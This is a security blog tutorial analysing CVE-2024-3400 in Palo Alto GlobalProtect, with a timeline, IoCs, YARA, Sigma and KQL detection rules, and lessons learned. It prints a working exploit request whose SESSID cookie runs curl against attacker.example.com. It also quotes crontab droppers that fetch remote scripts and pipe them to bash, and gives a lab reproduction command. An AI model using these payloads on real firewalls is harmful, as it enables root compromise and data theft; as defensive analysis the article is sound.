Skip to content
Back to Blog

tutorials · 8 min read

Palo Alto GlobalProtect CVE-2024-3400: the cookie that runs as root

Pre-auth command injection in PAN-OS GlobalProtect. The SESSID cookie parameter gets interpolated into a shell to build a telemetry filename; metacharacters earn execution as root. Volexity tracks exploitation since 26 March, vendor confirms on 12 April.

· Manuel López Pérez · tutorials

Pre-auth command injection in PAN-OS GlobalProtect. The SESSID cookie parameter gets interpolated into a shell to build a telemetry filename; metacharacters earn execution as root. Volexity tracks exploitation since 26 March, vendor confirms on 12 April.

On 12 April, Palo Alto Networks publishes an advisory for CVE-2024-3400 in PAN-OS GlobalProtect. CVSS 10.0. Pre-auth, RCE as root on the firewall. Exploitation conditions: a GlobalProtect portal or gateway configured and, in the first hours of the advisory, device telemetry enabled (the vendor drops that second requirement on 14 April after finding it wasn’t necessary). Volexity had detected the first in-the-wild exploitation on 10 April while investigating a customer; it tracks the actor’s prior reconnaissance — UTA0218, Operation MidnightEclipse — back to 26 March.

Within days the details that matter surface: the bug is in how PAN-OS builds a session filename from the SESSID cookie. The cookie value gets concatenated without sanitisation into a shell command running as root. Path traversal to escape the expected directory, command substitution to slip in a curl call, and the attacker has RCE on the perimeter appliance.

Lab: technical analysis based on the watchTowr write-up and the Volexity advisory. PAN-OS is a commercial appliance, not Docker — no reproducible PoC in an open lab without a license. The traces below are taken literally from the watchTowr publication.

The chain in one request

The vulnerable endpoint is POST /ssl-vpn/hipreport.esp, unauthenticated. When a request arrives, PAN-OS extracts the SESSID cookie and, if the session doesn’t exist, creates a session file on disk using the cookie value as part of the path:

/opt/pancfg/mgmt/lcaas/ssl-vpn/portal/sessions/<SESSID>

So far, unauthenticated file write — ugly but contained. Step 2 is where it falls apart. PAN-OS has a device telemetry function that periodically scans a log directory and for each new file runs a command equivalent to:

curl --data-binary @<filepath> https://telemetry.paloaltonetworks.com/...

The filename gets interpolated directly into the shell command via subprocess.Popen(..., shell=True). If the attacker can get a file with a name containing metacharacters into the directory telemetry scans, the shell command built when uploading it to telemetry runs that metacharacter.

Combining the two pieces: a cookie with path traversal + command substitution creates the file in the directory telemetry will scan, and the next telemetry pass runs the metacharacters.

The payload published by watchTowr in their analysis:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <target>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x`
Content-Length: 0

Three pieces:

  1. Path traversal (/../../../opt/panlogs/tmp/device_telemetry/minute/): moves the file out of the sessions directory and into the directory the telemetry cron scans every minute.
  2. Base name (aaa): irrelevant, just a marker.
  3. Command substitution (`curl${IFS}attacker.example.com/x`): backtick metacharacter with ${IFS} (Internal Field Separator) instead of spaces — the cookie can’t carry literal spaces without encoding, ${IFS} replaces them when bash runs.

When the telemetry cron processes the file, the command built is approximately:

curl --data-binary @/opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x` https://telemetry.paloaltonetworks.com/...

The command substitution is evaluated first: the firewall runs curl attacker.example.com/x before attempting to read the file. If the attacker points attacker.example.com/x at a script and pipes it to shell, the chain ends as bash running as root on the appliance.

The bug in one line

watchTowr locates it from Palo Alto’s own advisory and their debugging: the code that builds the telemetry line uses shell=False by default in subprocess.Popen, but the specific path where the bug lives overrides the flag to shell=True, disabling automatic escaping and leaving metacharacters live. Associated CWEs: CWE-77 (command injection) + CWE-20 (improper input validation). The root cause is CWE-470: building a path from untrusted input and then passing it to a shell.

The minimal sanitisation that closes the bug is validating SESSID against a real session-ID regex (^[A-Za-z0-9]{1,64}$ or similar) before any filesystem operation. The patch Palo Alto ships on 14 April does that validation and also separates path building from the shell call (consistent shell=False).

UPSTYLE — the web shell that comes next

Once the attacker has RCE as root, Volexity and Unit 42 document the payload UTA0218 deploys:

  • UPSTYLE, a Python backdoor installed as /usr/lib/python3.6/site-packages/system.pth. That mechanism (.pth files) makes Python auto-import it on every interpreter startup — persistence without touching crontab or systemd.
  • Control channel: UPSTYLE doesn’t open a port. It watches /var/log/pan/sslvpn_ngx_error.log waiting for a specially crafted HTTP request that contains an img[<base64-command>] tag. Any request to the gateway with that pattern on a non-existent URL (which gets logged as an error) sends it commands.
  • Exfiltration channel: responses are written to a legitimate web server file (bootstrap.min.css) that UPSTYLE overwrites momentarily, forces the operator to request, and restores the original after ~15 seconds to wipe forensic traces.

When UPSTYLE fails to install (three attempts, per Unit 42’s analysis), the actor falls back to a cruder backdoor:

* * * * * root wget -qO- http://172.233.228.93/policy | bash

A crontab every minute that downloads and runs a remote script. Detectable with any cron audit, but often no one audits the cron on a perimeter appliance.

Timeline

  • 26 March: first reconnaissance evidence by UTA0218 against specific targets. Curl probing and payload testing.
  • 7 April 06:59 UTC: the HTTP server serving UPSTYLE shows Last-Modified on that day — the actor finishes preparing infrastructure.
  • 10 April: first compromise confirmed by Volexity.
  • 11 April: second compromise confirmed, this time with UPSTYLE fully deployed.
  • 12 April: Palo Alto publishes advisory, assigns CVSS 10.0. Volexity publishes write-up.
  • 14 April: first hotfix batch for 11.1.2, 11.0.4 and 10.2.9. PAN updates the advisory: device-telemetry mitigation is not enough.
  • 15–18 April: rest of the versions receive hotfix.
  • 15 April: watchTowr publishes analysis with reproducible PoC. CISA adds CVE-2024-3400 to the KEV catalog.
  • 16–25 April: mass exploitation by other actors, now with a public PoC available.

Detection and mitigation

If you have PAN-OS exposed and aren’t sure whether the 26 March to 14 April window touched you, actionable IoCs published by Volexity and Unit 42:

  1. Suspicious files in /var/log/pan/sslvpn_ngx_error.log with img[<base64>] patterns on non-existent URLs.
  2. Files in /opt/panlogs/tmp/device_telemetry/minute/ with names containing backticks, $(), ${IFS} or non-alphanumeric characters in general.
  3. system.pth modified in Python site-packages.
  4. Undocumented crontabs with wget | bash or equivalents.
  5. Outbound connections from the firewall to unrecognised IPs — including 172.233.228.93, 144.172.79.92, 66.235.168.222 and others documented by Volexity.

On 3 May Palo Alto publishes an Enhanced Factory Reset procedure for cases where an appliance is confirmed compromised. The reason: if UPSTYLE touched configuration or filesystem, a patch on top doesn’t guarantee cleanup.

Medium-term mitigation, not specific to this CVE: any appliance with its SSL VPN panel exposed to the internet falls in the high-risk asset category. The operational question shifts from how many zero-days per year can this vendor weather? to what is our plan when the next one drops?

YARA — static detection of UPSTYLE

Public Unit 42 rule for the UPSTYLE web shell in system.pth:

rule paloalto_uta0218_upstyle_pth_webshell
{
    meta:
        cve  = "CVE-2024-3400"
        ref  = "https://unit42.paloaltonetworks.com/cve-2024-3400/"
        description = "system.pth modified by UTA0218 with Python backdoor"
    strings:
        $marker     = "system.pth" ascii
        $exec       = "exec(" ascii
        $b64decode  = "base64.b64decode" ascii
        $css_marker = "bootstrap.min.css" ascii  // exfil channel
        $log_regex  = /re\.search\s*\(\s*['"]img\[/ ascii
    condition:
        3 of them
}

Sigma — injection detection in nginx log

title: PAN-OS GlobalProtect CVE-2024-3400 SESSID Injection
id: 9c8b7a6e-5d4f-3c2b-1a0e-f9e8d7c6b5a4
status: stable
references:
  - https://unit42.paloaltonetworks.com/cve-2024-3400/
  - https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
logsource:
  product: nginx
  service: access
detection:
  selection:
    cs-uri-stem|contains:
      - '/ssl-vpn/hipreport.esp'
      - '/ssl-vpn/login.esp'
    cs-cookie|re: 'SESSID=[^;]*[`$;|&]'
  condition: selection
level: critical

Alternative to detect the img[<base64>] exfil pattern in firewall nginx logs:

# On the appliance itself (post-comp, via admin console)
grep -E "img\[[A-Za-z0-9+/=]+\]" /var/log/pan/sslvpn_ngx_error.log

# Broader search for any access to resources that put base64 in the path
grep -E "GET.*\[[A-Za-z0-9+/=]{20,}\]" /var/log/pan/sslvpn_ngx_*.log
// Filter requests with SESSID containing shell metacharacters
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor == "Palo Alto Networks"
| where DeviceProduct == "PAN-OS"
| where RequestURL contains "/ssl-vpn/"
| where AdditionalExtensions contains "SESSID="
| where AdditionalExtensions matches regex @"SESSID=[^;]*[`$;|&]"
| project Timestamp, SourceIP, DestinationIP, RequestURL,
          AdditionalExtensions, DeviceName
| order by Timestamp desc

Consolidated IoCs (Volexity + Unit 42)

TypeIndicator
Initial C2 IP172.233.228[.]93 (Volexity UTA0218 primary)
Later-wave C2 IPs144.172.79[.]92, 66.235.168[.]222, 137.118.227[.]16, 173.255.223[.]159
UPSTYLE SHA-2563de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
UPSTYLE variant SHA-25699e1b9627b652769b56c2e6def66a7c5d6cb6ad34b5e9b7d27e2c7c267e60b67
Exploit User-AgentMozilla/5.0 (Linux) with sparse headers
Dropped crontab line* * * * * curl -s 172.233.228[.]93/x.sh | bash (fallback dropper)
Post-comp file path/usr/local/lib/python3.X/site-packages/system.pth (modified by UPSTYLE)
Exfil channel file path/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css (output stash)

Reproduction in a lab

Lab with PAN-OS 11.1.x VM unpatched (vendor allows customers under contract to download images):

# Verify the flow: send SESSID with metacharacter
curl -k --max-time 5 \
  -H "Host: gp.lab.local" \
  -H "Cookie: SESSID=/../../../tmp/$(echo poc | base64);" \
  -H "User-Agent: Mozilla/5.0" \
  "https://gp.lab.local/ssl-vpn/hipreport.esp"

# The file should appear in /opt/panlogs/tmp/device_telemetry/minute/
# with the injected command in the name. Cron evaluates it next minute.

# Verify:
ssh admin@gp.lab.local
> debug system shell
> ls -la /opt/panlogs/tmp/device_telemetry/minute/

The Enhanced Factory Reset from 3 May is because the normal factory-reset doesn’t clean a modified system.pth.

Lessons

  1. The silent shell=True. Palo Alto defaults to shell=False in their code but overrides it on one specific path. Auditing large C/Python codebases for all places where shell runs with non-trivially-safe input is real work, not a checkbox. The bug lived in production across several versions.
  2. Telemetry as a vector. Shipping operational metadata to a vendor is a reasonable idea; running it as root with paths derived from unauthenticated input isn’t. If you have to write a file based on something the user sent, that “something” gets validated before it touches disk. Not after.
  3. The initial advisory got the exploitability condition wrong. “Only if you have device telemetry enabled” calmed a lot of people on 12 April. On 14 PAN drops that requirement. The pattern repeats: the day-0 “this only affects X” caveat often loosens on day 1-2. Assume the worst version of the advisory until you have certainty.
  4. The patch isn’t the end. If your appliance was exposed during the two weeks before the advisory, the right move is to assume compromise, rotate credentials that passed through the firewall, and consider the Enhanced Factory Reset. A firewall running shell-as-root without auditing doesn’t get “disinfected” by a patch.

References

Back to Blog

Related Posts

View All Posts »
Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

tutorials · 15 min

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

CVE-2025-20362 (auth bypass via path traversal, a variant of a 2018 bug) + CVE-2025-20333 (buffer overflow in a Lua script in WebVPN). Chained, pre-auth RCE as root on any ASA/FTD exposed to the internet. UAT4356 has been exploiting them since May 2025 and drops ROMMON persistence with a GRUB bootkit (RayInitiator) that survives reboot and upgrade.

· Manuel López Pérez

Cleo MFT CVE-2024-50623: Cl0p closes the year with its third managed file transfer

tutorials · 11 min

Cleo MFT CVE-2024-50623: Cl0p closes the year with its third managed file transfer

Huntress detects zero-day exploitation on 3 December of a bug in Cleo Harmony, VLTrader and LexiCom. The initial 5.8.0.21 patch does not mitigate; CVE-2024-55956 lands along with a second patch 5.8.0.24. Cl0p claims responsibility on 14 December. The group's third MFT in two years.

· Manuel López Pérez

Ivanti Connect Secure: the pre-auth RCE chain that opened 2024

tutorials · 10 min

Ivanti Connect Secure: the pre-auth RCE chain that opened 2024

CVE-2023-46805 (auth bypass via path traversal) + CVE-2024-21887 (command injection in /api/v1/license/keys-status). Chained, pre-auth RCE as root. Volexity publishes them on 10 January after detecting zero-day exploitation by UTA0178 since December. The official patch lands on 31 January, three weeks later.

· Manuel López Pérez